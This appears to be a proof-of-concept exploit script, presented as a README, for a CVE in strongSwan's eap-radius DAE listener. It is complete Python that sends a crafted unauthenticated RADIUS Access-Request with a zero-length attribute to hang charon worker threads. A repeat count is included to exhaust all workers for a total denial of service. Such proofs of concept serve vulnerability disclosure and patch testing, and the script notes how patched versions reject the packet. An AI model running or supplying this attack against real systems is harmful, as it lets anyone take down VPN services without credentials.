README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-35333 -- strongSwan RADIUS attribute-iterator DoS.
Live network exploit: send one crafted RADIUS Access-Request to the
strongSwan eap-radius DAE listener (UDP/3799) and hang a charon worker
thread forever. Access-Request is used (not Disconnect-Request) because
verify() skips the Response-Authenticator MD5 check for code 1 and walks
the broken attribute iterator directly -- so no DAE shared secret is
needed.
The malformed packet contains a single attribute with `length=0`
placed before any `Message-Authenticator`. strongSwan's
`radius_message_t::verify()` walks the attribute list via the broken
`attribute_enumerate()` iterator looking for `Message-Authenticator`
-- so the zero-length attribute traps the parser *before* the shared
secret is checked. The attack is unauthenticated.
Usage:
python3 poc.py --target 127.0.0.1 --port 3799
Expected effect on a vulnerable charon (5.9.13 or earlier):
- one worker thread pinned at 100% CPU
- DAE listener never responds; repeat the attack N times to exhaust
all N worker threads -> total DoS.
Effect on a patched charon (master >= e067d24293):
- packet is rejected at radius_message_parse() / validate_attributes()
with "RADIUS attribute has invalid length"; CPU stays flat.
"""
from __future__ import annotations
import argparse
import os
import socket
import struct
import sys
import time
# RADIUS codes (RFC 2865 / RFC 3576)
ACCESS_REQUEST = 1
DISCONNECT_REQUEST = 40
COA_REQUEST = 43
# RADIUS attribute types
RAT_USER_NAME = 1
RAT_MESSAGE_AUTHENTICATOR = 80
def build_zero_length_attr_packet() -> bytes:
"""
Build a minimal RADIUS packet whose first attribute has length == 0.
RADIUS code = 1 (Access-Request). The DAE receive() callback in
`eap_radius_dae.c` accepts any code that `radius_message_parse()`
parses, then calls `request->verify(..., NULL, secret, hasher,
signer)` BEFORE dispatching on code. For ACCESS_REQUEST,
`verify()` skips the Response-Authenticator MD5 check and runs the
attribute enumerator directly -- so a zero-length attribute
placed first hangs the walker forever, with no knowledge of the
DAE shared secret required.
Layout (22 bytes total):
[RADIUS header -- 20 bytes]
code = 1 (Access-Request -- bypasses secret check
in verify())
identifier = random
length = 22 (BE u16)
authenticator = 16 random bytes
[Attribute -- 2 bytes]
type = 1 (User-Name)
length = 0 <-- iterator loop trigger in verify()
"""
identifier = os.urandom(1)[0]
authenticator = os.urandom(16)
attr_type = RAT_USER_NAME
attr_length = 0 # <-- the bug trigger
total_len = 20 + 2 # header + 2-byte attribute
header = struct.pack(
"!BBH16s", ACCESS_REQUEST, identifier, total_len, authenticator
)
attribute = struct.pack("!BB", attr_type, attr_length)
return header + attribute
def build_disconnect_with_valid_attr() -> bytes:
"""
A well-formed Disconnect-Request with a single User-Name=test
attribute. Used as a control sample -- charon should reject it
(bad signature) without hanging.
"""
identifier = os.urandom(1)[0]
authenticator = os.urandom(16)
user_name = b"test"
attribute = struct.pack(
"!BB", RAT_USER_NAME, 2 + len(user_name)
) + user_name
total_len = 20 + len(attribute)
header = struct.pack(
"!BBH16s", DISCONNECT_REQUEST, identifier, total_len, authenticator
)
return header + attribute
def send_packet(packet: bytes, target: str, port: int, wait: float) -> None:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(wait)
sock.sendto(packet, (target, port))
print(
f"[+] sent {len(packet)} bytes to {target}:{port}/udp"
f" (last 2 bytes: {packet[-2]:02x} {packet[-1]:02x})"
)
try:
data, addr = sock.recvfrom(4096)
print(
f"[-] unexpected response {len(data)} bytes from {addr}:"
f" {data[:32].hex()}"
)
except socket.timeout:
print(f"[+] no response within {wait:.1f}s -- expected for hung worker")
def main() -> int:
parser = argparse.ArgumentParser(
description="CVE-2026-35333 live network DoS"
)
parser.add_argument(
"--target", default="127.0.0.1",
help="DAE listener address (default: 127.0.0.1)"
)
parser.add_argument(
"--port", type=int, default=3799,
help="DAE listener UDP port (default: 3799)"
)
parser.add_argument(
"--count", type=int, default=1,
help="Number of crafted packets to send (default: 1)"
)
parser.add_argument(
"--wait", type=float, default=2.0,
help="Wait seconds for a response per packet (default: 2.0)"
)
parser.add_argument(
"--control", action="store_true",
help="Send a well-formed Disconnect-Request first as control"
)
args = parser.parse_args()
if args.control:
print("[*] control sample: well-formed Disconnect-Request "
"(bad signature, should NOT hang)")
send_packet(build_disconnect_with_valid_attr(),
args.target, args.port, args.wait)
time.sleep(0.5)
payload = build_zero_length_attr_packet()
for i in range(args.count):
print(f"\n[*] crafted packet #{i + 1}: Access-Request with "
"zero-length User-Name attribute")
send_packet(payload, args.target, args.port, args.wait)
time.sleep(0.2)
print("\n[+] done; expected effect: one charon worker thread per packet "
"stuck at 100% CPU.")
print(" Verify on the target with: top -H -p $(pidof charon)")
return 0
if __name__ == "__main__":
sys.exit(main())